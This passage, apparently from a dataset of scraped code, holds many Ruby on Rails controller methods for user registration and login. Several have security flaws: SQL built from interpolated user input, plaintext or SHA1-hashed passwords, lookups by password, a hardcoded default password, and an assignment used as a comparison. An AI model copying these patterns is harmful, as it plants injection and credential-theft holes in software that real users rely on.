el hash\n\[email protected] = SecureRandom.hex\n\t@hashed = params[:password] + @user.salt\n\t100.times do\n\t\t@hashed = Digest::SHA1.hexdigest(@hashed)\n\tend\n\[email protected]_password = @hashed\n\n\t#Seteamos los valores por defecto\n\[email protected] = 0\n\[email protected] = false\n\[email protected]_token = \"\"\n\t#@user.last_login_date = Time.new.advance(:hours => -4)\n\t#@user.last_login_server = request.remote_ip\n\t#@user.last_login_server = \"desaweb1.ing.puc.cl\"\n\t\n\t#TODO: Aca enviar mail y setear active en false\n\[email protected] = false\n\t\n\t#if(request.env[\"HTTP_X_FORWARDED_FOR\"])\n\t#\[email protected]_login_server = request.env[\"HTTP_X_FORWARDED_FOR\"]\n\t#end\n\[email protected] = \"<h2>#{@user.name} #{@user.lastname}</h2>\"\n\tif(User.all.count < 1)\n\t\[email protected] = true\n\tend\n\n\t#Se guarda\n respond_to do |format|\n if @user.save\n\t\t\n\t\t@activation = EmailActivation.new\n\t\[email protected]_id = @user.id\n\t\[email protected] = SecureRandom.hex\n\t\[email protected]_at = DateTime.now + 2.days\n\t\[email protected]\n\t\tUserMailer.welcome_email(@user,@activation).deliver\n\t\t\n\t\tflash[:succes] = \"Bienvenido a tareApp2 #{@user.name + \" \" + @user.lastname}, revise su email para activar su cuenta\"\n format.html { redirect_to home_path }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def createUser\n @user = UserTable.new\n value = user_params\n password=params[:user][:password]\n password_confirm=params[:user][:password_confirm]\n @user.assign_attributes(value)\n if password.blank? || password != password_confirm\n flash[:error] = 'Passwords are blank or do not match'\n render :sign_up\n return\n else\n password_v = passwordCheck(password)\n @user.update_attributes(:password_hash => password_v)\n @user.update_attributes(value);\n if [email protected]\n ##@user.errors[:base] << @user.errors\n #flash[:error] = @user.errors\n render :sign_up\n return\n end\n end\n if (!params[:user_table][:email].nil?)\n #testing\n @user.email = params[:user_table][:email]\n @user.validation = randomstring(20)\n if @user.save\n #@user.error[:base] << 'An validation email has been sent to this address'\n UserMailer.welcome_email(@user.id,@user.email, @user.validation).deliver_now\n else\n @user.errors[:base] << 'email cannot be empty error'\n render :sign_up\n return\n end\n render :welcome\n end\n end", "def create\n @user = User.new(user_params)\n @user.pin = (0...8).map { (65 + rand(26)).chr }.join\n\n \n #raise params.to_yaml\n respond_to do |format|\n if @user.password == @user.conf_password\n if(is_a_valid_email?(@user.email))\n if(is_a_valid_pass?(@user.password))\n begin\n if @user.save\n session[:user_id] = @user.id\n format.html { redirect_to '/articles', notice: 'User was successfully created and logging Succesfully' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to '/users/new'}\n flash[:notice] = 'Error: Email already registered'\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n rescue ActiveRecord::RecordNotUnique\n format.html { redirect_to '/users/new'}\n flash[:notice] = 'Error: Email already registered'\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to '/users/new'}\n flash[:notice] = 'Password must contain at least a lowercase letter, a uppercase, a digit and 8+ chars'\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to '/users/new'}\n flash[:notice] = 'Invalid email'\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n else\n format.html { redirect_to '/users/new'}\n flash[:notice] = 'Passwords not match'\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def validate_user\n \tauthorized_user = nil\n @user = User.new(user_sign_in_params)\n\n if @user.status == \"Active\"\n puts \"user : #{@user.inspect}\"\n\n u = User.where(:email => @user.email).first\n # puts \"user_extracted : #{u.inspect}\"\n\n if u.blank?\n flash[:notice] = \"user with email #{@user.email} doesnot exist\"\n else\n d_pass = decrypt(u.password)\n # puts \"#{d_pass}\"\n if d_pass == @user.password\n if u.is_first_logged_in\n if u.is_super_user\n @user = User.find(u.id)\n @user.last_logged_in = DateTime.now.utc\n if @user.is_first_logged_in == false\n @user.is_first_logged_in = true\n end\n @user.save\n authorized_user = @user\n elsif u.is_owner\n @user = User.find(u.id)\n @user.last_logged_in = DateTime.now.utc\n if @user.is_first_logged_in == false\n @user.is_first_logged_in = true\n end\n @user.save\n authorized_user = @user\n else\n flash[:notice] = \"User cannot log in !! only admin/owner can\"\n end\n else\n \tu.is_first_logged_in = true\n flash[:notice] = \"confirm email\"\n end\n else\n flash[:notice] = \"Incorrect password\"\n \n end\n end\n else\n flash[:notice] = \"User has been deleted\"\n end\n if authorized_user\n \t# TODO: mark user as logged in\n \tsession[:user_id] = authorized_user.id\n \tsession[:email] = authorized_user.email\n \t\n\t flash[:notice] = \"You are now logged in.\"\n\t redirect_to(:controller => 'home',:action => 'index')\n else\n \[email protected]_attempts += 1\n @user.save\n render('login')\n end\n end", "def register_user\n if !(User.find_by username: params[:username]).nil?\n flash[:notice] = \"Username taken, try another\"\n redirect_to \"/\"\n elsif validate_password params[:password]\n flash[:notice] = \"Please enter a valid password\"\n redirect_to \"/\"\n elsif params[:first_name].strip.empty? || params[:last_name].strip.empty? || params[:street].strip.empty? || params[:city].strip.empty? || params[:state].strip.empty? || params[:zip].strip.empty? || params[:country].strip.empty? || params[:email].strip.empty?\n flash[:notice] = \"Invalid characters entered\"\n redirect_to \"/\"\n else\n user = User.new\n user.first = params[:first_name]\n user.last = params[:last_name]\n user.street = params[:street]\n user.city = params[:city]\n user.state = params[:state]\n user.zip = params[:zip]\n user.country = params[:country]\n user.email = params[:email]\n user.username = params[:username]\n user.password = params[:password]\n user.save\n #Only add a phone number to the database if a number is entered.\n if !params[:phone1].strip.empty?\n phone = Phone.new\n phone.phone = params[:phone1]\n user.phones << phone\n phone.save\n end\n if !params[:phone2].strip.empty?\n phone = Phone.new\n phone.phone = params[:phone2]\n user.phones << phone\n phone.save\n end\n if !params[:phone3].strip.empty?\n phone = Phone.new\n phone.phone = params[:phone3]\n user.phones << phone\n phone.save\n end\n #After registration is complete, user is taken to a confirmation page.\n redirect_to '/register/confirmation'\n end\n end", "def create\n @tempUser = User.find_by_email(params[:user][:email])\n if @tempUser.nil?\n @tempUser = User.find_by_name(params[:user][:name].to_s)\n if @tempUser.nil?\n @user = User.new(user_params)\n if params[:user][:password] = params[:user][:password_confirmation]\n if @user.save\n login(params[:user][:email], params[:user][:password])\n redirect_to forum_path\n else\n flash.now[:warning] = @user.errors.full_messages.to_sentence\n render 'sessions/log_in'\n end\n else\n flash.now[:warning] = @user.errors.full_messages.to_sentence\n render 'sessions/log_in'\n end\n else\n flash.now[:warning] = 'Name has already been taken.'\n flash.keep(:warning)\n @user = User.new()\n @user.email = params[:user][:email]\n render 'sessions/log_in'\n end\n else\n flash.now[:warning] = 'Email has already been taken.'\n flash.keep(:warning)\n @user = User.new()\n @user.name = params[:user][:name]\n render 'sessions/log_in'\n end\n end", "def create_user\n \t@user = User.new(user_params)\n @user.username = @user.name.split.sum\n \[email protected]_id = current_user.facility_id\n \[email protected] = 'medinternational.dev'[email protected]_s + \"@gmail.com\"\n \[email protected] = \"english\"\n \[email protected] = \"password\"\n @user.role = Role.find_by_name(\"bmet_tech\")\n \trespond_to do |format|\n \t\tif @user.save\n \t\t\tformat.html { redirect_to settings_path, notice: 'User successfully created'}\n \t\t\tformat.json { redirect_to settings_path, notice: 'User successfully created'}\n \t\telse\n \t\t\tformat.html {redirect_to settings_path, notice: 'Failed to create user'}\n \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity}\n \t\tend\n \tend\n end", "def create\n @user = User.new(user_params)\n action = params[:commit]\n if action == \"Add User\"\n respond_to do |format|\n if @user.valid?\n @user.count = 1\n @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n else\n format.html { render :new }\n end\n end\n elsif action == \"Login\"\n username = params[:user][:username]\n password = params[:user][:password]\n user = User.find_by(username: username, password:password)\n respond_to do |format|\n if user != nil\n user.update(count: user.count+1)\n format.html { redirect_to user, notice: 'User was successfully logged in.' }\n else\n @user.errors.add(:error_code, \"-4\") \n format.html { render :new }\n end\n end\n end\n end", "def ap_user_registration\n\n @result = {}\n #logger.info\"===AP====login_info==========#{params[:user]}\"\n #resource = User.includes(:profile,:devices).find_by_edutorid(params[:user][:edutorid])\n name_user = params[:user][:edutorid].gsub(/ES-/, \"\")\n if !User.find_by_edutorid(params[:user][:edutorid]).nil?\n resource = User.includes(:profile,:devices).find_by_edutorid(params[:user][:edutorid])\n elsif !User.where(\"rollno = '#{name_user}'\").empty?\n resource = User.includes(:profile,:devices).where(\"rollno = '#{name_user}'\").first\n elsif !Profile.includes(:user).where(\"web_screen_name = '#{name_user}'\").empty?\n screen_name_id = Profile.includes(:user).where(\"web_screen_name = '#{name_user}'\").first.user_id\n resource = User.includes(:profile,:devices).find(screen_name_id)\n end\n\n mDeviceID = \"\"\n\n if !params[:user][:edutorid].blank?\n if !resource\n @result = @result.merge({sign_in: false,:edutorid_error_message=>'Edutorid not found in the database',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n end\n else\n @result = @result.merge({sign_in: false,:edutorid_error_message=>'edutorid is null',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n end\n\n if !params[:user][:password].blank?\n if resource && !resource.valid_password?(params[:user][:password])\n @result = @result.merge({sign_in: false,:password_error_message=>'wrong password',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n #return @result.to_json\n end\n else\n @result = @result.merge({sign_in: false,:password_error_message=>'password is null',:message=>'Invalid userid/password, enter correct userid/password'})\n respond_to do |format|\n format.json {render json: @result}\n end\n return\n end\n\n devices = Device.where(:mac_id=>params[:device][:mac_id])\n if !devices.empty?\n mDeviceID = devices.last.deviceid\n else\n mDeviceID = \"ES\"+get_device_id_sa;\n @myReturn = set_device_ignitor(resource,params,mDeviceID)\n end\n\n\n if !mDeviceID.nil?\n device = Device.find_by_deviceid(mDeviceID)\n if device.nil?\n @result = @result.merge({sign_in: false,:deviceid_error_message=>'Deviceid not found in the database',:message=>'Deviceid not found in the database'})\n end\n else\n @result = @result.merge({sign_in: false,:deviceid_error_message=>'deviceid is null',:message=>'deviceid is null'})\n end\n\n\n unless device.nil?\n if resource.valid_password?(params[:user][:password])\n sign_in(resource_name,resource)\n institution = resource.institution\n center = resource.center\n class_info = center.academic_classes.any? ? center.academic_classes.map{|ac_class| Hash[class: ac_class.as_json(:include=>:profile)] } : []\n section_info = center.sections.any? ? center.sections.map{|section| Hash[section: section.as_json(:include=>:profile)] } : []\n @result = @result.merge({device_id:mDeviceID,is_primary: true,sign_in: true,:message=>'Alloted this device as primary',:user=>resource.as_json(:include => :profile),institution: institution.as_json(:include=>:profile),center: center.as_json(:include=>:profile),class_arry: class_info,sections_arry: section_info, store_url:current_user.get_store_url.present?, authentication_token: current_user.authentication_token})\n end\n else\n sign_out(resource_name)\n @result = @result.merge({is_primary: nil,sign_in: false,:message=>'No device found in edutor list'})\n end\n logger.info\"=======AP-result==========#{@result}\"\n\n respond_to do |format|\n format.json {render json: @result}\n end\n end", "def guest\n @patient=User.find_by_wedgetail(params[:wedgetail],:order =>\"created_at DESC\")\n authorize_only (:patient) {@patient.wedgetail == @user.wedgetail}\n authorize :admin\n @newuser = User.new\n \n @newuser.username= WedgePassword.username_make(\"G\")\n @newuser.password= WedgePassword.random_password(6)\n @newuser.family_name=\"Guest \"[email protected]\n @[email protected] + @patient.wedgetail\n @newuser.role=7\n if @newuser.save \n render(:layout => \"layouts/guestcard\")\n flash.now[:notice] = \"Guest User Created\"\n else\n flash.now[:notice] = \"Guest User Not Created Due to Error\"\n redirect_to(patient_path(@patient.wedgetail))\n end\n end", "def create\n @app_user = AppUser.new(app_user_params)\n all = AppUser.all.map{|m|m.user_name}\n if all.include?params[\"app_user\"][\"user_name\"]\n redirect_to :back,:alert => \"User Already Exists Can't Create Duplicate User\" \n else\n respond_to do |format|\n if @app_user.save\n format.html { redirect_to @app_user, notice: 'App user was successfully created.' }\n format.json { render :show, status: :created, location: @app_user }\n else\n format.html { render :new }\n format.json { render json: @app_user.errors, status: :unprocessable_entity }\n end \n end\n end\n end", "def create\n @user = User.new(params[:user])\n @user.memberid = params[:user][:member_id]\n @user.roles = Role.find(params[:role_ids]) if params[:role_ids]\n\n if @user.save\n flash[:notice] = 'Registration successful.'\n redirect_to users_path\n else\n @roles = Role.find(:all)\n render :action => \"new\"\n end\n#\n# if @validateuser.length .nil?\n# @user.save\n# flash[:notice] = 'User was successfully created.'\n# format.html { redirect_to(user) }\n# format.xml { render :xml => @user, :status => :created, :location => @user }\n# else\n# flash[:notice] = 'User already Exists.'\n# format.html { render :action => \"new\" }\n# format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n# end\n\n\n# respond_to do |format|\n# if @user.save\n# flash[:notice] = 'User was successfully created.'\n# format.html { redirect_to(@user) }\n# format.xml { render :xml => @user, :status => :created, :location => @user }\n# else\n# format.html { render :action => \"new\" }\n# format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n# end\n# end\n end", "def check_user_for_loggin\n @user = User.find_by(email: user_params[:email])\n if @user \n if @user.authenticate(user_params[:password])\n session[:user_id] = @user.id\n cookies.encrypted[:user_id] = @user.id\n redirect_to @user\n else\n @current_uri = request.env['PATH_INFO']\n @user = User.new(email: user_params[:email],password: user_params[:password])\n flash[:notice] = \"Wrong email or password\"\n render \"users/new\", :layout => \"signup_login\" \n end\n else \n @current_uri = request.env['PATH_INFO']\n flash[:notice] = \"Wrong email or password\"\n @user = User.new(email: user_params[:email],password: user_params[:password])\n render \"users/new\", :layout => \"signup_login\"\n end\n end", "def create\n \tuser=User.find_by_username(user_params[:username])\n \tif user && user.authenticate(user_params[:password])\n \t session[:user_id]=user.id\n \t redirect_to profile_path\n \telse\n flash[:error] = \"Failed To Authenticate. Please try again.\"\n \t\tredirect_to login_path\n \tend\n end", "def create \n\t\tparams.inspect\n\t\tparams[:user][:email] = params[:user][:email].downcase\n\t\tparams.inspect\n\t\tuser = User.find_by(email: params[:user][:email])\n\n\t\tif user && user.authenticate(params[:user][:password])\n\t\t\tsession[:user_id] = user.id.to_s\n\t\t\tredirect_to recipes_path\n\t\telse\n\t\t\tflash[:danger]= \"Invalid login credentials.\"\t\n\t\t\tredirect_to login_path\n\n\n\t\tend\n\tend", "def create\n extuser = User.find_by(username: user_params[:username])\n if(extuser.nil?)\n @user = User.new(user_params)\n @user.high_score = 0\n @user.save!\n auth_token = AuthenticateUser.new(user_params[:username], user_params[:password]).call\n response = { message: Message.account_created, auth_token: auth_token, high_score: 0 }\n json_response(response, :created)\n else\n response = { message: Message.dublicate_user }\n json_response(response, :bad_request)\n end \n end", "def create\n \t# puts('********')\n \t# puts(params)\n \t\n \tUser.create(user_params)\n\n \tredirect_to action: 'index'\n end", "def create\n ## check if the username is already in the database\n @user = User.create(user_params)\n if @user.errors.any?\n # ## if the username is present, then redirect to the login page\n render template: \"/users/new\"\n else \n ## If the username is not present, then it creates their account\n user = User.find_by({name: params[:user][:name]})\n ## Start the session for the user\n session[:user_id] = user.id\n redirect_to user_path(user)\n end\n end", "def create\n # have name, email, password that person wants to use user_params\n # user model:\n # validate that username is unique (can add in User model)\n # validate against other criteria for user names (can't have a one-letter username, language filter)\n # create obscured version of password with BCrypt::Password.create\n # attempt to save user in database with username, password obscured version of password from the form\n user = User.new(user_params)\n if user.save\n # if user saves properly:\n \t# TODO: redirect to a user created page with instructions for email confirmation\n # log user in\n session[:user_id] = user.id\n \t# redirect to home / success\n redirect_to \"/\"\n else\n # if user does not save:\n \t# flash error message (with specifics!)\n flash[:errors] = user.errors.full_messages.join(\" \")\n \t# redirect to sign up form (/users/new)\n redirect_to signup_path\n end\n\n end", "def create\n\n @user = User.new(params[:user])\n p \"hhhhhhhhhhhh\"\n a = params[:password]\n b = params[:user][:password]\n if a == b\n if @user.save\n redirect_to root_path\n flash[:notice] = 'User was successfully created.' \n else\n flash[:notice] = \"#{@user.errors.full_messages}\"\n redirect_to :back\n #render json: @user.errors, status: :unprocessable_entity\n end\n \n else\n flash[:notice] = \"password not matched\"\n redirect_to :back\n end\n\n end", "def create\n @user = User.new\n @user.name = params[\"name\"]\n @user.password = params[\"password\"]\n @user.email = params[\"email\"]\n if @user.save\n session[:user_id] = @user.id\n if session[:instagram]\n @identity = Identity.find_by_uid(session[:instagram][:uid])\n @identity.user_id = @user.id\n @identity.save\n end\n respond_to do |f|\n f.js {\n render 'user_create.js.erb', :notice => \"User created successfully!\"\n }\n f.html { redirect_to root_path, :notice => \"User created successfully!\" }\n end\n else\n respond_to do |f|\n f.js {\n render 'user_create.js.erb', :notice => \"Sorry, something went wrong. Please try again.\"\n }\n f.html { \n redirect_to new_user_path, :notice => \"Sorry, something went wrong. Please try again.\"\n }\n end\n end\n end", "def create\n\n\t\tif User.find_by(email: user_params[:email])\n\t\t\trender json: {\n\t\t \t\tstatus: 'error',\n\t\t \t\tmessage: 'Email has already been taken!'\n\t\t \t}, status: 422 \n\t\telsif User.find_by(phone_number: user_params[:phone_number])\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'Phone number has already been taken!'\n\t\t\t}, status: 422\n\t\telse\n\n\t\t\t@user = User.create(user_params)\n\n\t\t\tif @user\n\t\t\t\t# If successfully created\n\t\t\t\tUserMailer.welcome_email(@user).deliver_now\n\t\t\t\tnil\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'success',\n\t\t\t\t\tuser: @user\n\t\t\t\t}, status: 200\n\t\t\t\[email protected]_token = SecureRandom.urlsafe_base64.to_s\n\t\t \t\[email protected]!\n\t\t\telse\n\t\t\t\trender json: {\n\t\t\t\t\tstatus: 'error',\n\t\t\t\t\tmessage: 'Missing a field!'\n\t\t\t\t}, status: 422\n\t\t\tend\n\t\t \t\n\t\tend\n\t \n\tend", "def create\n userEmail = User.where(email: params[:email]).count\n userPassword = User.where(password: params[:password]).count\n if userEmail != 0 && userPassword != 0\n user = User.find_by email: params[:email]\n session[:user_id] = user.id\n redirect_to '/cool'\n else\n @user = Olduser.new\n if @user.valid? == false \n @user.errors.messages\n flash[:error] = \"Please enter valid information\"\n redirect_to :back\n end\n end\n end", "def create\n @user = User.find_by(email: params[:session][:email])\n #@user = User.find_by(password_digest: params[:session][:password_digest])\n @user && @user.authenticate(params[:session][:password])\n if @user\n log_in(@user)\n flash[:success] = 'Log in successful.'\n redirect_to @user #first problem identified#\n else\n flash.now[:danger] = 'The user id you entered does not exist.'\n render 'new'\n #render html:'<strong>HTML String</strong>'\n end\n end", "def adminusercreate\n\t \t @user = User.new\n\t\t @user.email = params[:user][:email]\n\t\t @user.password=params[:user][:password]\n\t\t @user.password_confirmation=params[:user][:password_confirmation]\n\t\t\[email protected]_token = params[:user][:invite_token] \n\t\t\[email protected] = true \n\t\t\[email protected]_name = params[:user][:first_name]\n \t\[email protected]_name = params[:user][:last_name]\n\t\t\t\n if @user.save then #if the user already exists (same email), will be forced to try the addadmin action (we get the rerendered admin signup form with\n \t\t\t\t\t # errors; although might be nice to give the user a notice to 'sign in to the right')\n sign_in @user\n #set the adminkey for that user and the event he was invited to admin for \n \tif Admininvite.find_by_token(@user.invite_token) # probably not necessary, but just to avoid nomethod on nil errors from not finding the @ai\n\t\t @ai = Admininvite.find_by_token(@user.invite_token)\n\t\t @event = @ai.event\n\t\t @adminkey = Adminkey.new(event_id: @event.id, user_id: @user.id)\n\t\t @adminkey.save\n\t\t #link the admin invite to the user just created\n\t\t @ai.update_attributes(user_id: @user.id)\n\n\t\t make_master_admin(@event, @user)\t\n\n\t\t \n\t\t\t\t\t\taddvoicegem(@user)\n\t\t\t\t\t\tredirect_to @user, notice: \"Welcome to VoiceGems, and thanks for registering to admin this event, #{@event.title}. Click on your event to request and hear VoiceGems. And create or update your own VoiceGem.\"\n\t\t\t\t \t#templates (redirects) in this helper\n\t\t\t\t \t\t\n\t\t else #couldn't find the ai by token\n\t\t \tredirect_to @user, notice: 'There was an error. Invitation code was invalid. Please sign out and try again.'\n\t\t end \n else\n \t if User.find_by_email(@user.email)#if the user already exists, tell them to try logging in to the right\n flash.now[:error] = 'You have previously registered on our site. Please sign in here.' \n \t end \n \t if Admininvite.find_by_token(@user.invite_token)\n\t @ai = Admininvite.find_by_token(@user.invite_token)\n\t #@user.email = @ai.recipient_email\n\t #@user.first_name = @ai.first_name\n\t #@user.last_name = @ai.last_name \n\t #this is some polish to automatically set the email field in the form; but I've commented them out b/c should be coming in from @user set in the beginning of this action anyway\n\t #flash[:notice] = \"You have been invited, please sign up to be an admin!\"\n\t #put this back in later when you've figured out the flash/notice thing, included notices inthe application layout\n\t @event = Event.find_by_id(@ai.event_id)\n\t end #this if-end can be taken out if it causes problems\n\t \n render 'adminsignup'\n #this still passes in the invite_token with the @user (b/c it's already set, not using params[token] this time), if there is one; so a failed save for an invited admin can still work. But since the action adminusercreate has been hit\n # now, we have lost the @ai istance variable set on the adminsignup page. This is fixed by the if-end statement above\n #note the 'render action' DOES NOT hit the action! (I\"m pretty sure). It only renders the view! I've changed it here to the equivalent render 'adminsignup'\n end\n\nend", "def create\n logger.info \" -------- user/create : #{user_params}\"\n logger.info \" -------- phoneNumber : #{user_params[:phoneNumber]}\"\n @user = User.find_by_phoneNumber(user_params[:phoneNumber])\n\n unless @user.nil?\n # If user already exists then return conflict error.\n # If client registration id is different then\n # update it.\n if @user.clientRegistrationId != user_params[:clientRegistrationId]\n @user.update_column(:clientRegistrationId, user_params[:clientRegistrationId])\n end\n respond_to do |format|\n error_msg = { :error => \"User(#{user_params[:phoneNumber]}) is already registered with ETA\" }\n format.json { render json: error_msg, status: :conflict }\n end\n else \n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n # format.json { render action: 'show', status: :created, location: @user }\n format.json { head :created } \n else\n format.html { render action: 'new' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def create \n #create an instance to save the users passed by the form\n @user = User.new(user_params)\n if @user.save\n \t#\n render 'show'\n #render show\n else \nrender 'signup'\n#puts \"Helooooo\"\n end\n end", "def create \n\t\t@user=User.new\n\t\[email protected]=\"native\"\n\t\[email protected]_attributes(signup_params)\n\t\[email protected]!\n\t\tflash[:success]=\"Thanks for joining SPACEF!T, #{@user.name ||\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\[email protected](\"@\").first }. \"\n\t\tsign_in!(@user, true)\n\t\tredirect_to root_path\n\trescue ActiveRecord::RecordInvalid,\n\t\t\t\t\tActiveRecord::RecordNotUnique => e\n\t\tflash.now[:error]=\"We were not able to sign you up, please correct the following fields\"\n\t\[email protected]\n\t\trender 'new'\n\tend", "def create\n @user = User.new(user_params)\n @user.password = (Random.rand() * 10000).floor.to_s\n @user.helping = params[:helping]\n if @user.save\n term = params[:expertise].gsub!(/\\s+/, '')\n expertise = Expertise.find_by(name: term)\n login(@user)\n redirect_to search_path(expertise.id)\n end\n end", "def create\n params.permit!\t\n @user = User.new(params[:user], params[:password])\n if params[:login]\n redirect_to(:action => \"login\")\n elsif params[:add_user]\n redirect_to(:action => \"add\") \n end\n# if @user.save\n# redirect_to(:action => \"add\")\n# end\n end", "def create\n @department = Department.all \n if params[:id]==\"0\"\n @user = User.new(account:params[:account],password:params[:password],name:params[:name],address:params[:address], email:params[:email],telephone:params[:telephone],sex:params[:sex],role:params[:role],departmentname:params[:departmentname],orgainize_id:params[:orgainize_id]) \n @user.save\n else\n @user=User.find(params[:id]);\n @user.update(account:params[:account],password:params[:password],name:params[:name],address:params[:address], email:params[:email],telephone:params[:telephone],sex:params[:sex],role:params[:role],departmentname:params[:departmentname],orgainize_id:params[:orgainize_id]) \n #@user.update(user_params);\n\n end \n render :json => {code: 200,message: \"保存成功!\" }\n #@user.save\n # respond_to do |format|\n # if @user.save\n # format.html { redirect_to @user, notice: '用户创建成功!' }\n # format.json { render :show, status: :created, location: @user }\n # else\n # format.html { render :new }\n # format.json { render json: @user.errors, status: :unprocessable_entity }\n # end\n # end\n end", "def create\n\t\t\n\t\t@user = User.new(user_params)\n\t\[email protected]_role_id = 3\n\t\[email protected]_ace = true\n\t\t\n\t\tif @user.save\n\t\t\tredirect_to root_url, notice: \"New user created successfully. You can log in now.\"\n\t\t\telse\n\t\t\trender \"new\"\n\t\tend\n\t\t\n\tend", "def create\n existing_user = User.find_by(email_id: params[:user][:email_id])\n if existing_user != nil\n if existing_user.is_househunter == true\n redirect_to logout_path, notice: \"You are already registered as a house hunter\"\n else\n existing_user.is_househunter = true\n existing_user.password = params[:user][:password]\n if existing_user.save\n add_hh = Househunter.new(househunter_params)\n add_hh.users_id = existing_user.id\n if add_hh.save\n redirect_to login_path, notice: 'House hunter was successfully created'\n else\n redirect_to login_path, notice: 'Error saving househunter'\n end\n else\n redirect_to login_path, notice: 'Error saving user.'\n end\n end\n else\n @househunter = Househunter.new(househunter_params)\n @user = User.new(user_params)\n @user.is_househunter = true\n respond_to do |format|\n if @user.save\n @househunter.users_id = @user.id\n if @househunter.save\n format.html {redirect_to login_path, notice: 'House hunter was successfully created.'}\n format.json {render :show, status: :created, location: @househunter}\n else\n format.html {render :new}\n format.json {render json: @realtor.errors, status: :unprocessable_entity}\n end\n else\n format.html {render :new}\n format.json {render json: @user.errors, status: :unprocessable_entity}\n end\n end\n end\n end", "def create\n @user = User.new\n @user.username = params[:username]\n @user.name = params[:name]\n @user.email = params[:email]\n @user.phone = params[:phone]\n @user.role = params[:role]\n password = params[:password]\n @user.password= User.create_encrypted_password(password)\n if @user.save\n redirect_to(:controller => 'users', :action => 'log')\n else\n redirect_to(:controller => 'main', :action => 'index')\n end\n end", "def create\n @user = User.new();\n @user.login_name = params[:user][:login_name]\n @user.name = params[:user][:name]\n @user.password = params[:user][:password]\n @user.email = params[:user][:email]\n @user.is_admin = params[:user][:is_admin]\n @user.is_lock = params[:user][:is_lock]\n @create_success = nil\n respond_to do |format|\n if User.save_user @user\n format.html { redirect_to @user,:notice => t('user.create_success')}\n format.json { render :json => @user, :status=> :created, :location=> @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end", "def create\n @user = User.where(:name => params[:user][:name]).first\n if @user.nil?\n @user = User.new\n flash[:notice] = '用户不存在!'\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n return\n end\n \n if @user.admin\n @user = User.new\n flash[:notice] = '用户已经是管理员!'\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n return\n end\n \n select_roles = params[:user_roles]\n select_roles.each do |role_id|\n @user.user_roles.create(:role_id => role_id)\n end unless select_roles.nil?\n \n @user.admin = true\n \n respond_to do |format|\n if @user.save\n @user.roles.joins(:permissions).select('permissions.controller_name,permissions.action_name,permissions.rest,roles.app_id').each do |record|\n UserVisit.create :controller_name => record.controller_name, :action_name => record.action_name, :rest => record.rest, :app_id => record.app_id, :user_id => @user.id\n end\n format.html { redirect_to admin_role_path(@user), notice: '权限新建成功.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n params[:user][:ip_address] = request.remote_ip\n params[:user][:last_login] = DateTime.now\n if !params[:user][:floater].nil? then\n floater = params[:user][:floater]\n params[:user].delete(\"floater\")\n else\n floater = nil\n end\n @user = User.new(params[:user])\n if @user.save then\n session[:user_id] = @user.id\n params[:user_role] = Hash.new\n params[:user_role][:user_id] = @user.id\n params[:user_role][:role_id] = Role.find_by_name(\"USER\").id\n @user_role = UserRole.new(params[:user_role])\n @user_role.save\n if floater.nil? then\n redirect_to(@user)\n else\n render :partial => \"index/floater_thanks\"\n end\n #redirect_to :controller => \"challenges\", :action => \"index\"\n else\n if floater.nil? then\n render :action => \"new\"\n else\n render :partial => \"index/floater\"\n end\n end\n end", "def create\n logout_keeping_session!\n @user = User.new(params[:user])\n @user.state = 'active'\n# @user.profile ||= {}\n# @user.profile.symbolize_keys!\n# if session[:captcha].upcase != params[:captcha].upcase\n# flash[:error] = '验证码错误'\n# return render( :action => 'new')\n# end\n# @user.register! if @user && @user.valid?\n @user.save if @user && @user.valid?\n success = @user && @user.valid?\n\n if success && @user.errors.empty?\n redirect_back_or_default('/')\n flash[:notice] = I18n.t('thanks_for_signing_up')\n else\n flash[:error] = I18n.t('cannot_set_up_account')\n render :action => 'new'\n end\n end", "def create\n @user = User.new(user_params)\n \n # 잘못입력된 usertype에 대해 에러메시지 리턴 개선 코드 : [passenger, driver].include? @user.usertype, 루비는 not에 대한 메서드도 있다. ex) 물음표 메서드\n return error_message_response('Please choose either passenger or driver in usertype') if %w['passenger', 'driver'].include? @user.usertype\n\n # 잘못 입력된 비밀번호에 대해서 에러메시지 리턴\n return error_message_response('Password is empty') if @user.pwd.nil?\n\n # 6자리 미만으로 입력된 비밀번호에 대해서 에러메시지 리턴\n return error_message_response('Please write password at least 6 characters') if @user.pwd.length < 6\n # User가 제대로 생성되었을 때의 성공 메시지\n if @user.save\n @msg = {\n message: 'Account successfully registered'\n }\n render json: @msg, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end", "def create\n @user = User.new(params[:user])\n if not_sensitive(params[:user][:name]) #1 if - start\n if verify_recaptcha(request.remote_ip, params)[:status] == 'false' #2 if - start\n @notice = \"captcha incorrect\"\n respond_to do |format|\n format.html { render :action => \"new\" }\n format.xml { render :xml => 